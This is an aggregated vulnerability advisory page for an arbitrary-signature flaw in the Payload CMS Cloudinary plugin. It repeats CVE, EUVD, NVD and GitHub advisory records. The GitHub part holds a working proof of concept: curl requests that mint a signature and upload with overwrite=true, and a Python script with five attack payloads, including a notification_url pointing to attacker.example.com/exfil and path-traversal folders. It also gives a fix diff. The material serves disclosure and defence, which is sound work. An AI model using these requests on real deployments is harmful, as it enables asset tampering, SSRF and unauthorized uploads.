@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Source published

15 Sep 2026 16:27:26 UTC

Source modified

15 Sep 2026 19:45:35 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Source published

Sep 15, 2026, 4:27:26 PM (timezone not stated)

Source modified

Sep 15, 2026, 7:45:35 PM (timezone not stated)

Observed here

11 Nov 2026 14:59:38 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Payload Plugins is a collection of plugins designed to enhance Payload CMS. From 0.3.0 until 0.4.0, @jhb.software/payload-cloudinary-plugin deployments with clientUploads enabled expose POST /api/cloudinary-generate-signature, whose handler in cloudinary/src/getGenerateSignature.ts passes attacker-controlled body.paramsToSign directly to cloudinary.utils.api_sign_request without a key allowlist, collection policy, timestamp freshness check, or configured-folder enforcement. Any authenticated Payload user can obtain a valid Cloudinary HMAC-SHA1 signature for unauthorized parameters such as overwrite, type, notification_url, invalidate, folder, and public_id. The signature can authorize asset replacement, upload visibility changes, callbacks to attacker-selected URLs, cache invalidation, and uploads outside the intended folder. The client-visible Cloudinary API key is expected by the upload design, but the unrestricted server-side signature supplies the authorization value needed to complete these operations. This vulnerability is fixed in 0.4.0.

Source published

15 Sep 2026 17:17:23 UTC

Source modified

30 Sep 2026 17:51:56 UTC

Observed here

25 Oct 2026 14:19:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

## Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin ### Summary `@jhb.software/payload-cloudinary-plugin` v0.3.4 exposes a server-side signing endpoint (`POST /api/cloudinary-generate-signature`) that passes attacker-supplied `paramsToSign` directly to `cloudinary.utils.api_sign_request()` without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters — including `overwrite=true`, `type=private`, `notification_url`, and path-traversal folder values — enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account. ### Details When `clientUploads: true` is configured, the plugin registers a signing handler at `cloudinary/src/index.ts:74-79`. The handler is implemented in `cloudinary/src/getGenerateSignature.ts`. **Vulnerable code path (step by step):** 1. `cloudinary/src/index.ts:58` — `initClientUploads` registers the server upload handler. 2. `cloudinary/src/index.ts:68` — The Cloudinary API key is exposed to client handler props by design. 3. `cloudinary/src/index.ts:74-79` — The signing endpoint is mounted at `/cloudinary-generate-signature`. 4. `cloudinary/src/getGenerateSignature.ts:18` — The default access control checks only `!!req.user`, permitting any authenticated user. 5. `cloudinary/src/getGenerateSignature.ts:46` — The entire request body is parsed: `const body = await req.json?.()`. 6. `cloudinary/src/getGenerateSignature.ts:55` — **Vulnerable sink**: attacker-controlled `body.paramsToSign` is forwarded verbatim to the signing function. ```ts // cloudinary/src/getGenerateSignature.ts:46-55 const body = await req.json?.() if (!body?.paramsToSign) { return new Response(JSON.stringify({ error: 'No paramsToSign provided' }), ...) } // No allowlist, no key filtering, no folder/public_id/overwrite enforcement const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) ``` There are **no** mitigations in place: - No parameter key allowlist (attacker can include `overwrite`, `type`, `notification_url`, `invalidate`, etc.) - No folder/public_id policy enforcement (the plugin's `folder` option from `index.ts` is never passed to `getGenerateSignature`) - No timestamp freshness check - No restriction on path traversal sequences in `folder` or `public_id` Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures: | Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | `folder=attacker-controlled, overwrite=true` | Overwrite any existing asset | | CASE-3 | `type=private, public_id=admin-document` | Change asset visibility / bypass access control | | CASE-4 | `notification_url=http://attacker.example.com/exfil` | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | `folder=../../../../admin-assets, invalidate=true` | Path traversal + CDN cache invalidation | Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input. ### PoC **Prerequisites:** - `@jhb.software/[email protected]` deployed with `clientUploads: true` - An authenticated Payload session (any privilege level) - Knowledge of `CLOUDINARY_CLOUD_NAME` and the client-exposed API key (exposed by design at `index.ts:68`) **Step 1 — Obtain a signature for arbitrary parameters (bash):** ```bash TS=$(date +%s) SIG=$(curl -s \ -H "Authorization: Bearer <LOW_PRIV_TOKEN>" \ -H "Content-Type: application/json" \ -X POST "http://localhost:3000/api/cloudinary-generate-signature?collectionSlug=media" \ --data "{\"paramsToSign\":{\"timestamp\":\"$TS\",\"folder\":\"attacker\",\"public_id\":\"overwrite-target\",\"overwrite\":\"true\"}}" \ | jq -r .signature) echo "Obtained signature: $SIG" ``` **Step 2 — Use the minted signature to upload directly to Cloudinary:** ```bash curl -s -X POST "https://api.cloudinary.com/v1_1/$CLOUDINARY_CLOUD_NAME/auto/upload" \ -F "[email protected]" \ -F "api_key=$CLOUDINARY_API_KEY" \ -F "timestamp=$TS" \ -F "folder=attacker" \ -F "public_id=overwrite-target" \ -F "overwrite=true" \ -F "signature=$SIG" ``` **Expected result:** Cloudinary returns a successful upload JSON for `attacker/overwrite-target` — an asset path the plugin never intended to authorize. **Automated PoC (Python):** ```bash # Build and run the reproduction container docker build -t vuln-002-cloudinary . docker run -d --name vuln-002 -p 3000:3000 vuln-002-cloudinary # Run all five attack scenarios python3 poc.py --server http://127.0.0.1:3000 ``` The script (`poc.py`) posts five distinct `paramsToSign` payloads and independently verifies each returned signature using `hashlib.sha1`. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability. **Sample output (Phase 2 evidence):** ``` [SIGN] paramsToSign={"timestamp":"...","folder":"attacker-controlled","public_id":"overwrite-target","overwrite":"true"} => abc45ef5f0807bdef153074d2be3e713ea867168 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","type":"private","public_id":"admin-document"} => 0d8102a5ff48953832b76a1f21d1c513af5940e1 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"media","notification_url":"http://attacker.example.com/exfil"} => 72d954c67bd4a38d6a3931c64511f84143d24685 (HTTP 200) [SIGN] paramsToSign={"timestamp":"...","folder":"../../../../admin-assets","public_id":"../../../sensitive","invalidate":"true"} => d44984e7af8fca306e59e00810c2623d8963e011 (HTTP 200) Results: 5/5 cases confirmed — HTTP 200 + mathematically valid HMAC-SHA1 on every attacker-controlled paramsToSign ``` **Recommended fix:** ```diff --- a/cloudinary/src/getGenerateSignature.ts +++ b/cloudinary/src/getGenerateSignature.ts @@ type Args = { apiSecret: string + folder?: string } @@ export const getGenerateSignature = - ({ access = defaultAccess, apiSecret }: Args): PayloadHandler => + ({ access = defaultAccess, apiSecret, folder }: Args): PayloadHandler => @@ - const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) + const paramsToSign = body.paramsToSign as Record<string, unknown> + const allowedKeys = new Set(['timestamp', 'folder', 'public_id']) + if ( + !paramsToSign || + Object.keys(paramsToSign).some((key) => !allowedKeys.has(key)) || + typeof paramsToSign.timestamp !== 'string' + ) { + throw new Forbidden() + } + if (folder && paramsToSign.folder !== folder.replace(/^\/|\/$/g, '')) { + throw new Forbidden() + } + if ( + typeof paramsToSign.public_id === 'string' && + (paramsToSign.public_id.includes('..') || paramsToSign.public_id.startsWith('/')) + ) { + throw new Forbidden() + } + const signature = cloudinary.utils.api_sign_request(paramsToSign, apiSecret) ``` ### Impact This is an **Improper Verification of Cryptographic Signature** vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because `paramsToSign` is never validated, it acts as an unrestricted signature oracle for any authenticated user. **Who is impacted:** All deployments of `@jhb.software/payload-cloudinary-plugin` that set `clientUploads: true`. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README). **Concrete attack outcomes:** - **Asset overwrite** (`overwrite=true`): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement. - **Access-control bypass** (`type=private`): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends. - **SSRF / data exfiltration** (`notification_url`): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery. - **Path traversal** (`folder=../../../../...`, `invalidate=true`): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory. The Cloudinary API key is exposed to the client by the plugin itself (`index.ts:68`), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM node:22-alpine LABEL description="VULN-002 reproduction: arbitrary Cloudinary API parameter signing" \ vuln="getGenerateSignature.ts:55 - body.paramsToSign signed without allowlist" \ package="@jhb.software/[email protected]" WORKDIR /app # Install exactly the cloudinary version declared in the plugin's package.json RUN echo '{"name":"vuln-002-server","version":"1.0.0","private":true}' > package.json && \ npm install [email protected] --save --no-audit --no-fund COPY server.js . EXPOSE 3000 # Start the minimal reproduction server CMD ["node", "server.js"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-002: Arbitrary Cloudinary API Parameter Signing Package : @jhb.software/payload-cloudinary-plugin v0.3.4 File : cloudinary/src/getGenerateSignature.ts:55 CWE : CWE-347 — Improper Verification of Cryptographic Signature CVSS : 7.1 (High) AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L Vulnerable sink (exact line from source): const signature = cloudinary.utils.api_sign_request(body.paramsToSign, apiSecret) body.paramsToSign is passed directly with no allowlist, no key filtering, and no folder/public_id/overwrite enforcement. Any authenticated user can obtain a valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters. Usage: python3 poc.py [--server http://127.0.0.1:3000] """ import argparse import hashlib import json import sys import time import urllib.error import urllib.request # Must match API_SECRET in server.js API_SECRET = "poc-fake-api-secret-12345" # Simulates a low-privilege authenticated user session AUTH_HEADER = "Bearer low-privilege-user-token" GREEN = "\033[32m" RED = "\033[31m" YELLOW = "\033[33m" RESET = "\033[0m" # --------------------------------------------------------------------------- # Cloudinary signature algorithm — Python re-implementation of # cloudinary.utils.api_sign_request(params, api_secret) # Algorithm: SHA-1( sorted_k=v_pairs + api_secret ) # --------------------------------------------------------------------------- def cloudinary_sign(params: dict, api_secret: str) -> str: """Return the expected Cloudinary HMAC-SHA1 signature for params.""" filtered = {k: v for k, v in params.items() if v not in (None, "")} sorted_pairs = sorted(filtered.items()) param_str = "&".join(f"{k}={v}" for k, v in sorted_pairs) to_sign = param_str + api_secret return hashlib.sha1(to_sign.encode("utf-8")).hexdigest() # --------------------------------------------------------------------------- # HTTP helpers # --------------------------------------------------------------------------- def post_sign(server: str, params: dict) -> tuple[int, dict]: """ POST {"paramsToSign": params} to the signing endpoint. Returns (http_status, response_dict). Raises urllib.error.HTTPError for 4xx/5xx. """ body = json.dumps({"paramsToSign": params}).encode("utf-8") req = urllib.request.Request( f"{server}/api/cloudinary-generate-signature?collectionSlug=media", data=body, headers={ "Content-Type": "application/json", "Authorization": AUTH_HEADER, }, method="POST", ) with urllib.request.urlopen(req, timeout=10) as resp: return resp.status, json.loads(resp.read()) # --------------------------------------------------------------------------- # Test runner # --------------------------------------------------------------------------- def run_case(server: str, label: str, params: dict) -> bool: """ Execute one signing test case and verify: 1. HTTP 200 is returned (endpoint did NOT reject the params). 2. The returned signature is mathematically correct. Returns True if both conditions hold (vulnerability confirmed for this case). """ print(f"\n [{label}]") print(f" paramsToSign : {json.dumps(params)}") try: status, data = post_sign(server, params) except urllib.error.HTTPError as exc: body = exc.read().decode(errors="replace") print(f" HTTP {exc.code} — request rejected: {body}") print(f" {RED}UNEXPECTED REJECTION{RESET} — allowlist may be present for this case") return False except Exception as exc: print(f" Connection error: {exc}") return False sig_returned = data.get("signature", "") sig_expected = cloudinary_sign(params, API_SECRET) sig_match = sig_returned == sig_expected print(f" HTTP status : {status}") print(f" Signature : {sig_returned}") print(f" Expected sig : {sig_expected}") print(f" Sig valid : {'YES — mathematically correct HMAC-SHA1' if sig_match else 'NO — mismatch'}") if status == 200 and sig_match: print(f" {GREEN}CONFIRMED{RESET} — endpoint signed arbitrary params without rejection") return True else: print(f" {RED}UNEXPECTED{RESET} — status={status}, sig_match={sig_match}") return False # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): parser = argparse.ArgumentParser(description="VULN-002 PoC") parser.add_argument("--server", default="http://127.0.0.1:3000", help="Target server URL") args = parser.parse_args() server = args.server.rstrip("/") ts = str(int(time.time())) print("=" * 70) print("VULN-002 PoC — Arbitrary Cloudinary API Parameter Signing") print(f"Target : {server}") print(f"Vuln : getGenerateSignature.ts:55 — no paramsToSign allowlist") print(f"Auth : {AUTH_HEADER!r} (low-privilege user simulation)") print("=" * 70) # ------------------------------------------------------------------ # Attack scenarios # ------------------------------------------------------------------ # Each case passes paramsToSign that the plugin should REJECT but does NOT. # A correctly patched implementation would return 4xx for cases 2-5. # ------------------------------------------------------------------ cases = [ ( "CASE-1: Legitimate params (baseline — should always succeed)", {"timestamp": ts, "folder": "media", "public_id": "user-upload"}, ), ( "CASE-2: Attacker-controlled folder + overwrite=true", { "timestamp": ts, "folder": "attacker-controlled", "public_id": "overwrite-target", "overwrite": "true", }, ), ( "CASE-3: type=private — changes upload visibility", { "timestamp": ts, "type": "private", "public_id": "admin-document", }, ), ( "CASE-4: notification_url — potential SSRF / data exfiltration", { "timestamp": ts, "folder": "media", "notification_url": "http://attacker.example.com/exfil", }, ), ( "CASE-5: folder path traversal + invalidate=true", { "timestamp": ts, "folder": "../../../../admin-assets", "public_id": "../../../sensitive", "invalidate": "true", }, ), ] results = [] for label, params in cases: results.append(run_case(server, label, params)) passed = sum(results) total = len(results) print("\n" + "=" * 70) print(f"Results : {passed}/{total} cases confirmed") # Cases 1-5 all passing means the vulnerability is proven: # the endpoint signs ANY paramsToSign regardless of content. if all(results): print(f"\n{GREEN}VERDICT: PASS — VULN-002 CONFIRMED{RESET}") print( "All 5 attack scenarios returned HTTP 200 with a mathematically valid" " Cloudinary HMAC-SHA1 signature." ) print( "The plugin endpoint signs arbitrary upload parameters without any" " allowlist, folder enforcement, or overwrite/type restriction." ) print( "Impact: any authenticated Payload user can mint valid Cloudinary" " signatures for arbitrary parameters, enabling asset replacement," " privacy changes, and potential SSRF via notification_url." ) sys.exit(0) elif results[0]: failed = [cases[i][0] for i, r in enumerate(results) if not r] print(f"\n{YELLOW}VERDICT: PARTIAL — baseline succeeded but some cases failed{RESET}") print(f"Failed cases: {failed}") sys.exit(2) else: print(f"\n{RED}VERDICT: FAIL — server not reachable or baseline request failed{RESET}") sys.exit(1) if __name__ == "__main__": main() ```

Source published

19 Jun 2026 22:10:37 UTC

Source modified

16 Sep 2026 03:56:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Publisher rating · HIGH